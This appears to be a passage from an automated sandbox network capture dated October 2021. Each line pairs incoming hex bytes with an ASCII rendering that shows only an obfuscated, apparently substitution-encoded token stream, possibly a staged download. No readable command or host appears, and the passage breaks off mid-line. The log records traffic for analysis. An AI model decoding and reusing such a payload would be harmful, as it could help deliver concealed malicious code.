2021-10-29 18:10:59 UTC	1715	IN	Data Raw: 78 20 59 4b 20 6f 78 52 20 4f 4f 6f 20 4f 4f 74 20 4f 78 51 20 4f 74 51 20 4b 6b 20 4b 6b 20 59 78 20 59 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 51 6b 20 4f 4f 6f 20 59 78 20 4b 51 20 4b 6b 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 78 4f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 6f 4b 45 20 4b 6b 20 59 4b 20 6b 4b 20 4f 52 4f 20 4f 4f 51 20 4f 78 51 20 4f 4f 6f 20 59 52 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4b 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 6b 78 20 4f 4f 4b 20 59 78 20 4b 6b 20 6f 45 74 20 59 6f 20 6b 4b 20 4f 4f 4b 20 4f 4f 6b 20 4f 78 51 20 4f 4f 6f 20 59 78 20 59 6b 20 59 78 20 59 4b 20 6b 59 20 4f 78 59 20 52 51 20 4f 78 59 20 4f 4f 6f 20 4f 6f 45 20 4b 51 20 59 78 20 59 4b 20 Data Ascii: x YK oxR OOo OOt OxQ OtQ Kk Kk Yx YE kK OOK OOt Qk OOo Yx KQ Kk YK kK OOK OxO OxQ OOo Yx oKE Kk YK kK ORO OOQ OxQ OOo YR Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx Kk kK OOK OOt Okx OOK Yx Kk oEt Yo kK OOK OOk OxQ OOo Yx Yk Yx YK kY OxY RQ OxY OOo OoE KQ Yx YK
2021-10-29 18:10:59 UTC	1716	IN	Data Raw: 59 20 59 74 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 52 51 20 4f 6f 4b 20 4f 4f 74 20 45 4f 20 45 6f 20 59 45 20 45 51 20 6b 78 20 4f 4f 45 20 4f 4f 45 20 52 51 20 6f 6f 4b 20 59 78 20 4b 6b 20 59 6f 20 45 78 20 52 52 20 4f 4f 4b 20 4f 4f 74 20 74 78 20 4f 6f 45 20 59 51 20 51 59 20 52 6f 20 59 4b 20 6b 4b 20 4f 6f 78 20 6b 6b 20 6f 59 59 20 4f 74 4b 20 59 52 20 59 74 20 45 78 20 4b 6b 20 51 45 20 6f 51 20 4f 6f 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 45 52 20 6f 45 52 20 59 45 20 4f 4f 4b 20 4f 74 6f 20 4f 4f 74 20 4f 78 59 20 51 51 20 59 6b 20 45 6b 20 45 45 20 52 45 20 4f 6f 74 20 6b 45 20 4f 78 78 20 4f 78 4f 20 51 74 20 59 51 20 4f 74 78 20 45 45 20 52 78 20 6b 45 20 4f 4f 6f 20 4f 78 78 20 4f 78 45 20 6b 6b 20 6f 45 45 20 4b 6b 20 59 78 20 52 78 20 4f Data Ascii: Y Yt YK kK Oox ORQ OoK OOt EO Eo YE EQ kx OOE OOE RQ ooK Yx Kk Yo Ex RR OOK OOt tx OoE YQ QY Ro YK kK Oox kk oYY OtK YR Yt Ex Kk QE oQ OoR OxQ OOo YR oER oER YE OOK Oto OOt OxY QQ Yk Ek EE RE Oot kE Oxx OxO Qt YQ Otx EE Rx kE OOo Oxx OxE kk oEE Kk Yx Rx O
2021-10-29 18:10:59 UTC	1720	IN	Data Raw: 51 78 20 6b 4b 20 4f 78 51 20 4f 4f 6f 20 59 52 20 52 4f 20 74 52 20 4b 78 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 6f 52 20 4f 4f 52 20 74 52 20 4b 52 20 59 78 20 59 4b 20 51 4b 20 51 74 20 4f 4f 6f 20 4f 78 78 20 45 20 4f 52 20 4b 6b 20 59 78 20 52 78 20 4f 6f 4b 20 6b 4f 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 51 45 20 6f 78 20 59 78 20 59 4b 20 51 4b 20 51 74 20 4f 4f 45 20 4f 6f 4b 20 4f 4f 52 20 4b 59 20 52 45 20 4f 51 4f 20 4f 78 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 74 6f 20 4f 52 78 20 6f 4f 59 20 4b 6b 20 59 78 20 59 78 20 4f 6f 4b 20 52 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 52 59 20 6b 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 6b 78 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 6b 20 4b 78 20 4b 78 20 6f 4f 74 20 4b 78 20 4f 4f 74 20 4f 78 51 20 4f 4f Data Ascii: Qx kK OxQ OOo YR RO tR Kx kK OOK Oot OoR OOR tR KR Yx YK QK Qt OOo Oxx E OR Kk Yx Rx OoK kO OOt OxQ Ooo QE ox Yx YK QK Qt OOE OoK OOR KY RE OQO Oxk kK OOK OOR to ORx oOY Kk Yx Yx OoK RQ OOt OxQ Ooo RY k Yx YK QK oQ kx OxQ OOo YR ok Kx Kx oOt Kx OOt OxQ OO
2021-10-29 18:10:59 UTC	1724	IN	Data Raw: 20 4f 4f 6f 20 59 52 20 4f 78 20 6f 4f 45 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 78 52 20 4f 4f 51 20 6b 6b 20 51 52 20 4b 6b 20 59 78 20 52 78 20 74 59 20 4f 78 4f 20 6f 4b 6b 20 59 59 20 4f 4f 6f 20 59 78 20 4b 51 20 6f 45 20 6f 45 78 20 4f 45 78 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 6b 6b 20 59 20 4b 6b 20 59 78 20 52 78 20 45 51 20 74 4b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 52 20 6f 74 20 59 78 20 59 4b 20 51 4b 20 51 74 20 4f 6f 59 20 4f 78 74 20 45 20 4f 51 51 20 4b 6b 20 59 78 20 4b 6b 20 74 4f 20 4f 4f 6b 20 4f 78 78 20 4f 78 59 20 51 6b 20 59 4f 20 6f 4b 20 6f 4f 51 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 45 4f 20 4f 4f 6f 20 59 78 20 59 4b 20 45 59 20 59 78 20 52 74 20 6f 59 59 20 4b 74 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 6f 4f 20 45 52 Data Ascii: OOo YR Ox oOE YK kK OOK OxR OOQ kk QR Kk Yx Rx tY OxO oKk YY OOo Yx KQ oE oEx OEx OOK OOt OxY kk Y Kk Yx Rx EQ tK OOt OxQ Ooo oR ot Yx YK QK Qt OoY Oxt E OQQ Kk Yx Kk tO OOk Oxx OxY Qk YO oK oOQ YK kK Oox oR OEO OOo Yx YK EY Yx Rt oYY Kt OxQ OOo YO oO ER
2021-10-29 18:10:59 UTC	1728	IN	Data Raw: 20 4f 4f 59 20 74 6f 20 6f 20 74 78 20 59 74 20 59 78 20 74 78 20 4f 6f 4b 20 4f 74 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 52 4b 20 4f 6f 4f 20 59 52 20 59 4b 20 45 52 20 4f 6f 20 4f 78 74 20 4f 78 51 20 4f 4f 6f 20 59 52 20 51 59 20 4b 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 74 20 4f 6b 20 4f 6f 6f 20 59 78 20 52 4b 20 52 4b 20 4f 59 45 20 51 4b 20 4f 4f 4b 20 59 20 4f 51 20 4f 4f 78 20 59 78 20 4b 6b 20 59 52 20 45 78 20 74 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 6b 6b 20 4f 4f 20 4b 6b 20 59 78 20 52 78 20 59 51 20 4f 45 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 6f 45 20 52 52 20 4f 4b 4f 20 52 78 20 6b 4b 20 6f 20 74 20 4f 6f 52 20 4f 6f 45 20 59 78 20 52 4b 20 74 52 20 4b 78 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 52 51 20 4f 4f 4f 20 59 78 20 4b 6b 20 59 Data Ascii: OOY to o tx Yt Yx tx OoK Ot OOt OxQ Ooo RK OoO YR YK ER Oo Oxt OxQ OOo YR QY KY YK kK Oox t Ok Ooo Yx RK RK OYE QK OOK Y OQ OOx Yx Kk YR Ex tY OOK OOt OxE kk OO Kk Yx Rx YQ OEx OOt OxQ OOk oE RR OKO Rx kK o t OoR OoE Yx RK tR Kx kK OOK Oot RQ OOO Yx Kk Y
2021-10-29 18:10:59 UTC	1732	IN	Data Raw: 78 20 4f 78 78 20 51 6b 20 6f 59 59 20 6f 6b 20 4b 6b 20 59 78 20 59 6f 20 4b 74 20 6b 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 51 4f 20 51 59 20 4f 51 6f 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 4f 59 20 6b 59 20 6f 6f 52 20 59 78 20 4b 6b 20 59 78 20 59 6f 20 4b 74 20 4f 78 6f 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 59 45 20 59 52 20 4f 78 52 20 4f 6b 59 20 4f 78 78 20 4f 4f 4b 20 4f 4f 74 20 4f 4f 4f 20 4f 4f 20 6f 74 20 4b 6b 20 59 78 20 59 78 20 52 51 20 4f 6f 59 20 4f 78 52 20 51 74 20 6f 59 45 20 4f 78 4b 20 4b 6b 20 59 78 20 59 59 20 4f 4f 45 20 4f 52 6f 20 4f 45 59 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 4b 20 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 52 20 6b 59 20 4f 4f 6f 20 59 78 20 59 6b 20 6f 52 20 6b 6b 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 4f 4f 20 Data Ascii: x Oxx Qk oYY ok Kk Yx Yo Kt kR OOt OxQ OOR QO QY OQo YK kK Oox oOY kY ooR Yx Kk Yx Yo Kt Oxo OOt OxQ OOR YE YR OxR OkY Oxx OOK OOt OOO OO ot Kk Yx Yx RQ OoY OxR Qt oYE OxK Kk Yx YY OOE ORo OEY OxQ OOo YK oK Y YK kK Oox R kY OOo Yx Yk oR kk kK OOK Oot OOO
2021-10-29 18:10:59 UTC	1736	IN	Data Raw: 6f 20 59 4b 20 6b 4b 20 4f 4f 6b 20 51 45 20 51 78 20 4f 4f 6f 20 59 78 20 59 6b 20 52 59 20 4f 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 52 51 20 45 78 20 59 78 20 4b 6b 20 59 52 20 59 6f 20 4b 74 20 51 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 45 59 20 59 6b 20 45 59 20 59 51 20 4f 6f 20 51 51 20 4f 6f 45 20 4f 6f 45 20 6f 45 78 20 4f 78 52 20 45 45 20 52 78 20 45 45 20 4f 51 4b 20 4b 6f 20 4f 78 78 20 51 51 20 4f 78 4b 20 4f 52 4b 20 4f 78 4b 20 45 59 20 59 52 20 74 74 20 6f 6f 6b 20 4b 59 20 4b 20 51 74 20 52 78 20 4b 6f 20 4f 52 4b 20 51 59 20 59 51 20 4f 6f 6b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 74 51 20 6f 4b 20 59 78 20 59 4b 20 6b 78 20 74 4b 20 6f 45 59 20 4f 78 51 20 4f 4f 6f 20 59 78 20 59 78 20 74 45 20 59 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 Data Ascii: o YK kK OOk QE Qx OOo Yx Yk RY OK kK OOK Oot RQ Ex Yx Kk YR Yo Kt Qk OOt OxQ OOR EY Yk EY YQ Oo QQ OoE OoE oEx OxR EE Rx EE OQK Ko Oxx QQ OxK ORK OxK EY YR tt ook KY K Qt Rx Ko ORK QY YQ Ook OOt OxQ Ooo tQ oK Yx YK kx tK oEY OxQ OOo Yx Yx tE Yt kK OOK OOE
2021-10-29 18:10:59 UTC	1740	IN	Data Raw: 4b 20 4f 4f 52 20 4f 4f 59 20 4f 4f 4b 20 6f 52 20 6b 6f 20 59 78 20 59 4b 20 51 4b 20 6b 6b 20 51 51 20 4f 4f 78 20 4f 78 4b 20 6f 78 4b 20 4b 51 20 6f 4b 20 59 4b 20 6b 4b 20 4f 78 59 20 52 51 20 4f 78 4b 20 4f 4f 6f 20 52 74 20 4b 6b 20 59 78 20 59 4b 20 4f 4f 4f 20 4f 4f 4b 20 4f 4f 74 20 4f 6f 4b 20 4f 4f 59 20 51 45 20 4f 59 45 20 59 4f 20 59 4b 20 6b 6f 20 4f 78 4f 20 6f 4b 6b 20 59 45 20 4f 4f 6f 20 59 78 20 4b 51 20 6f 45 20 45 6f 20 45 6b 20 4f 74 6f 20 4f 4f 4b 20 4f 78 51 20 78 20 4f 4b 4b 20 45 51 20 51 45 20 4f 6f 78 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 45 20 45 20 59 4f 20 4b 51 20 59 78 20 52 78 20 6b 6f 20 4f 78 78 20 6f 45 51 20 4f 78 74 20 4f 78 45 20 4f 52 6b 20 6f 4b 20 6b 4f 20 59 4b 20 6b 4b 20 4f 6f 78 20 51 45 20 4f 4f 4f 20 Data Ascii: K OOR OOY OOK oR ko Yx YK QK kk QQ OOx OxK oxK KQ oK YK kK OxY RQ OxK OOo Rt Kk Yx YK OOO OOK OOt OoK OOY QE OYE YO YK ko OxO oKk YE OOo Yx KQ oE Eo Ek Oto OOK OxQ x OKK EQ QE Oox kK OOK Oot OxE E YO KQ Yx Rx ko Oxx oEQ Oxt OxE ORk oK kO YK kK Oox QE OOO
2021-10-29 18:10:59 UTC	1744	IN	Data Raw: 20 51 4f 20 6f 45 20 6f 51 20 52 6f 20 4f 52 20 74 78 20 4f 4f 6f 20 4f 45 51 20 4f 6f 78 20 52 74 20 59 78 20 4b 6b 20 4b 4f 20 52 6f 20 4f 6f 74 20 59 51 20 4f 4f 20 4f 6f 45 20 4f 4f 45 20 59 78 20 59 6f 20 6f 45 20 6f 74 20 52 74 20 6b 4b 20 4f 4f 20 4f 6f 4f 20 4f 4f 45 20 59 78 20 59 6f 20 6f 78 4b 20 4b 6b 20 74 6f 20 4f 4f 6f 20 4f 4f 74 20 4f 78 74 20 45 20 4b 4f 20 4b 51 20 59 78 20 52 78 20 4f 4f 45 20 6f 4b 6f 20 51 51 20 4f 78 6b 20 4f 4f 6f 20 59 4b 20 6f 4b 20 4b 59 20 59 4b 20 6b 4b 20 6b 51 20 6b 78 20 52 4b 20 4f 6f 4b 20 6f 78 20 45 4b 20 4b 6b 20 6f 78 78 20 52 59 20 52 59 20 4f 4f 74 20 4f 78 51 20 4f 78 74 20 59 6b 20 6f 74 20 45 52 20 4b 6b 20 4f 74 78 20 4f 4f 52 20 4f 78 51 20 4f 4f 4f 20 4f 4f 6f 20 59 6f 20 52 74 20 4b 74 20 59 Data Ascii: QO oE oQ Ro OR tx OOo OEQ Oox Rt Yx Kk KO Ro Oot YQ OO OoE OOE Yx Yo oE ot Rt kK OO OoO OOE Yx Yo oxK Kk to OOo OOt Oxt E KO KQ Yx Rx OOE oKo QQ Oxk OOo YK oK KY YK kK kQ kx RK OoK ox EK Kk oxx RY RY OOt OxQ Oxt Yk ot ER Kk Otx OOR OxQ OOO OOo Yo Rt Kt Y
2021-10-29 18:10:59 UTC	1748	IN	Data Raw: 52 20 6f 52 20 4f 45 6b 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 6f 78 74 20 6b 59 20 45 74 20 45 51 20 45 6b 20 45 78 20 6f 45 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 6f 4f 78 20 6f 45 20 4b 78 20 45 74 20 45 4b 20 4f 6f 4b 20 6f 78 52 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 4f 4b 4b 20 6f 4f 20 4b 45 20 45 6f 20 52 4b 20 51 78 20 6f 78 4f 20 4f 78 51 20 4f 4f 6f 20 59 52 20 4f 4b 52 20 6f 52 20 4f 45 51 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 52 51 20 4b 51 20 59 4f 20 4b 6b 20 59 52 20 4f 6b 6f 20 74 45 20 4f 4f 59 20 4f 4f 74 20 4f 78 59 20 4f 4b 20 4b 74 20 4b 51 20 59 78 20 59 78 20 4b 74 20 4b 6b 20 4f 4f 52 20 4f 78 51 20 4f 6f 6f 20 74 52 20 4b 59 20 59 4f 20 59 4b 20 6b 78 20 4f 6f 6f 20 51 51 20 4f 6f 45 20 45 20 4f 4f 45 20 4b 51 20 59 78 20 52 78 20 Data Ascii: R oR OEk kK OOK Oot oxt kY Et EQ Ek Ex oEo OOK OOt OxE oOx oE Kx Et EK OoK oxR OOt OxQ Ooo OKK oO KE Eo RK Qx oxO OxQ OOo YR OKR oR OEQ kK OOK Oot RQ KQ YO Kk YR Oko tE OOY OOt OxY OK Kt KQ Yx Yx Kt Kk OOR OxQ Ooo tR KY YO YK kx Ooo QQ OoE E OOE KQ Yx Rx
2021-10-29 18:10:59 UTC	1752	IN	Data Raw: 4f 4f 4b 20 74 6f 20 4f 78 51 20 59 78 20 74 74 20 4b 6b 20 4b 51 20 52 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 4f 4f 4f 20 4f 4f 6f 20 6f 6b 20 4b 6b 20 4f 78 6b 20 4f 6b 52 20 6b 4b 20 4f 6f 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 59 78 20 59 78 20 4f 74 20 6b 4b 20 45 20 6f 45 74 20 4f 78 51 20 4f 6f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 52 20 4f 4f 4b 20 6b 59 20 4f 78 51 20 6f 4b 4b 20 4f 59 78 20 4b 6b 20 59 52 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 4b 6b 20 4f 59 6f 20 4f 45 4b 20 6b 4b 20 4f 4f 45 20 4f 6f 74 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 4b 45 20 6f 20 59 4f 20 6b 4b 20 4f 52 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 6f 4f 20 4b 6b 20 59 78 20 45 51 20 45 51 20 6f 4f 52 20 4f 4f 74 Data Ascii: OOK to OxQ Yx tt Kk KQ Rx kK OOK OOR OOO OOo ok Kk Oxk OkR kK Oox OOt OxQ OOo Yx Yx Yx Ot kK E oEt OxQ Ooo Yx Kk Yx YK kR OOK kY OxQ oKK OYx Kk YR YK kK OOK OOt OxQ OOo Yo Kk OYo OEK kK OOE Oot OxQ OOo YO KE o YO kK ORY OOt OxQ OOo OoO Kk Yx EQ EQ oOR OOt
2021-10-29 18:10:59 UTC	1756	IN	Data Raw: 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4b 6b 20 59 78 20 4f 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 52 4b 20 4f 4f 45 20 59 78 20 4b 6b 20 6b 4b 20 59 59 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 4b 6b 20 59 78 20 59 4b 20 59 52 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 6f 20 59 4f 20 4b 6b 20 59 78 20 59 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 4f 4f 6f 20 59 78 20 4b 51 20 4b 4f 20 52 20 6b 4f 20 4f 4f 4b 20 6f 4b 78 20 4f 4f 4f 20 4f 4f 6f 20 59 78 20 4f 6f 74 20 59 78 20 59 4b 20 52 51 20 4f 20 6f 4f 78 20 4f 78 51 20 4f 4f 6f 20 59 52 20 59 6b 20 4f 6b 20 4f 6b 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 6f 6f 4b Data Ascii: OOK OOt OxQ OOK Yx Kk Yx OY kK OOK OOt RK OOE Yx Kk kK YY kK OOK Oot OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yo Kk Yx YK YR OOY OOt OxQ o YO Kk Yx YE kK OOK OOt OxE OOo Yx KQ KO R kO OOK oKx OOO OOo Yx Oot Yx YK RQ O oOx OxQ OOo YR Yk Ok Okt kK OOK OOt ooK
2021-10-29 18:10:59 UTC	1760	IN	Data Raw: 20 4f 4f 6f 20 59 52 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 6f 20 4f 4f 74 20 45 52 20 4f 4f 6f 20 4f 74 6b 20 6f 4b 51 20 59 78 20 52 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 4f 4b 20 59 78 20 4f 52 59 20 4f 6f 51 20 4f 4f 4b 20 4f 6f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 6f 20 4f 4f 4b 20 4f 74 4b 20 4f 4b 78 20 4f 4f 6f 20 4b 51 20 59 6b 20 59 78 20 59 4b 20 6b 59 20 4f 78 59 20 52 51 20 4f 78 4b 20 4f 4f 6f 20 4f 78 6b 20 4b 51 20 59 78 20 59 4b 20 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 6f 4b 20 45 20 4f 4b 51 20 4b 6b 20 59 78 20 52 78 20 51 4b 20 4f 78 51 20 74 78 20 6f 6f 4b 20 4b 6f 20 59 78 20 4b 6b 20 59 4f 20 4f 51 20 4f 45 6f 20 4f 52 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f Data Ascii: OOo YR Kk Yx YK kK OOo OOt ER OOo Otk oKQ Yx Rx kK OOK OOt OxQ OOK Yx OOK Yx ORY OoQ OOK Oot OxQ OOo Yx Kk Yx YK ko OOK OtK OKx OOo KQ Yk Yx YK kY OxY RQ OxK OOo Oxk KQ Yx YK K OOK OOt OoK E OKQ Kk Yx Rx QK OxQ tx ooK Ko Yx Kk YO OQ OEo ORY OOt OxQ OOR o
2021-10-29 18:10:59 UTC	1764	IN	Data Raw: 52 20 52 74 20 4f 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 6b 6b 20 4f 4f 6f 20 59 78 20 59 6b 20 59 6f 20 4b 4f 20 51 78 20 6f 59 59 20 4b 74 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 6f 4f 20 6f 6f 52 20 6f 4b 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 52 51 20 74 4f 20 59 78 20 4b 6b 20 59 52 20 52 51 20 4f 78 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 45 4f 20 6f 6f 74 20 4b 6b 20 59 78 20 52 78 20 45 51 20 6f 4f 45 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 59 74 20 59 45 20 45 78 20 52 6f 20 6b 4f 20 6f 59 6f 20 6b 51 20 4f 78 59 20 4f 4f 52 20 4b 51 20 4f 20 4b 6b 20 4b 51 20 4f 6f 52 20 4f 4f 4b 20 4f 4f 51 20 52 51 20 4f 52 6f 20 59 78 20 4b 6b 20 59 52 20 59 6b 20 52 52 20 4f 6f 74 20 74 74 20 4f 6f 4b 20 4f 4f 45 20 59 78 20 4b 6b 20 59 6b 20 52 45 20 Data Ascii: R Rt Ox YK kK Oox oR Okk OOo Yx Yk Yo KO Qx oYY Kt OxQ OOo YO oO ooR oKY kK OOK OOE RQ tO Yx Kk YR RQ Oxk OOK OOt OxE EO oot Kk Yx Rx EQ oOE OOt OxQ Ooo Yt YE Ex Ro kO oYo kQ OxY OOR KQ O Kk KQ OoR OOK OOQ RQ ORo Yx Kk YR Yk RR Oot tt OoK OOE Yx Kk Yk RE
2021-10-29 18:10:59 UTC	1768	IN	Data Raw: 6f 20 59 78 20 59 6f 20 6f 4b 20 6f 78 20 6b 52 20 4f 4f 45 20 6b 20 51 4b 20 4f 4f 6f 20 59 78 20 59 6f 20 6f 4b 20 4b 78 20 6b 52 20 51 20 52 59 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 52 20 4f 52 20 59 6f 20 6b 74 20 4f 59 20 52 59 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 52 20 4b 4b 20 59 6f 20 4b 74 20 74 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 4b 20 4f 6b 20 4b 6b 20 59 45 20 4b 4f 20 74 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 4b 20 4b 52 20 4b 6b 20 74 74 20 51 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 51 78 20 4f 52 20 59 78 20 4b 51 20 74 59 20 51 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 51 78 20 4b 4b 20 59 78 20 74 45 20 4f 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 74 4f 20 6b 6f 20 4b 6b 20 59 4f 20 74 51 20 4f 20 6b 4b 20 4f 4f 4b 20 4f 4f Data Ascii: o Yx Yo oK ox kR OOE k QK OOo Yx Yo oK Kx kR Q RY OxQ OOo YK oR OR Yo kt OY RY OxQ OOo YK oR KK Yo Kt tO OOt OxQ OOR oK Ok Kk YE KO tO OOt OxQ OOR oK KR Kk tt Qk OOK OOt OxY Qx OR Yx KQ tY Qk OOK OOt OxY Qx KK Yx tE O kK OOK OOE tO ko Kk YO tQ O kK OOK OO
2021-10-29 18:10:59 UTC	1772	IN	Data Raw: 20 6b 78 20 4f 4f 6f 20 51 45 20 4f 59 20 4f 4f 6f 20 59 78 20 59 6b 20 6f 4b 20 4b 78 20 6b 52 20 51 20 51 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 52 20 4f 52 20 59 6f 20 6b 74 20 4f 59 20 51 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 52 20 4b 4b 20 59 6f 20 4b 74 20 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 4b 20 4f 6b 20 4b 6b 20 59 45 20 4b 4f 20 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 4b 20 4b 52 20 4b 6b 20 74 74 20 4b 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 51 78 20 4f 52 20 59 78 20 4b 51 20 74 59 20 4b 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 51 78 20 4b 4b 20 59 78 20 6f 52 20 6b 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 74 4f 20 4f 4f 78 20 4b 6b 20 74 59 20 74 74 20 59 4b 20 6b 4b 20 4f 4f 6b 20 51 59 20 74 51 20 4f 4f 4b 20 4b 51 20 Data Ascii: kx OOo QE OY OOo Yx Yk oK Kx kR Q Q OxQ OOo YK oR OR Yo kt OY Q OxQ OOo YK oR KK Yo Kt OY OOt OxQ OOR oK Ok Kk YE KO OY OOt OxQ OOR oK KR Kk tt Ko OOK OOt OxY Qx OR Yx KQ tY Ko OOK OOt OxY Qx KK Yx oR kK kK OOK Oot tO OOx Kk tY tt YK kK OOk QY tQ OOK KQ
2021-10-29 18:10:59 UTC	1776	IN	Data Raw: 59 45 20 51 59 20 59 74 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 52 51 20 4f 74 51 20 4f 4f 59 20 6f 78 20 6f 45 6b 20 59 78 20 45 52 20 6b 52 20 51 78 20 6f 4f 59 20 4f 78 6b 20 4f 4f 6f 20 59 52 20 4f 78 20 4f 6f 78 20 6f 78 4f 20 4f 74 4f 20 4f 4b 4f 20 4f 74 4f 20 51 51 20 51 6b 20 4b 6b 20 6f 78 52 20 45 52 20 4f 4f 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 78 20 6f 20 4f 6f 45 20 59 78 20 4b 6b 20 59 52 20 6f 45 4b 20 6b 52 20 4f 20 6f 45 6b 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 45 59 20 59 6b 20 45 51 20 51 6f 20 51 78 20 51 20 4f 78 51 20 4f 4f 6f 20 59 52 20 59 59 20 51 45 20 4f 74 74 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 6f 20 78 20 59 78 20 4b 6b 20 59 52 20 6b 51 20 6f 4b 52 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 51 74 20 59 6b 20 4b 74 20 6f 78 20 4f 6b 74 20 Data Ascii: YE QY Yt YK kK Oox ORQ OtQ OOY ox oEk Yx ER kR Qx oOY Oxk OOo YR Ox Oox oxO OtO OKO OtO QQ Qk Kk oxR ER OOK kK OOK OOx o OoE Yx Kk YR oEK kR O oEk Oxk OOo Yo EY Yk EQ Qo Qx Q OxQ OOo YR YY QE Ott kK OOK Oot o x Yx Kk YR kQ oKR OOY OOt Oxt Qt Yk Kt ox Okt
2021-10-29 18:10:59 UTC	1780	IN	Data Raw: 51 45 20 4f 4f 51 20 4f 4f 6b 20 59 78 20 45 78 20 59 4b 20 4f 45 78 20 74 6b 20 4f 4f 52 20 4f 4f 74 20 74 74 20 4f 4f 52 20 4f 45 4b 20 4b 6f 20 6f 51 20 59 4b 20 6f 4f 59 20 74 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 59 78 20 6f 59 4f 20 6f 51 20 51 45 20 4f 6f 78 20 4f 4f 52 20 4f 4f 74 20 74 51 20 6b 6f 20 6b 51 20 6f 6b 20 59 6f 20 59 4b 20 4f 45 4b 20 4f 4f 45 20 45 78 20 52 59 20 4f 4f 6b 20 59 78 20 4f 4b 78 20 59 6f 20 51 45 20 4f 6f 78 20 4f 4f 52 20 4f 4f 74 20 6f 6f 20 6b 59 20 4f 4b 51 20 59 20 52 78 20 59 4b 20 6f 6f 4b 20 52 74 20 4f 74 78 20 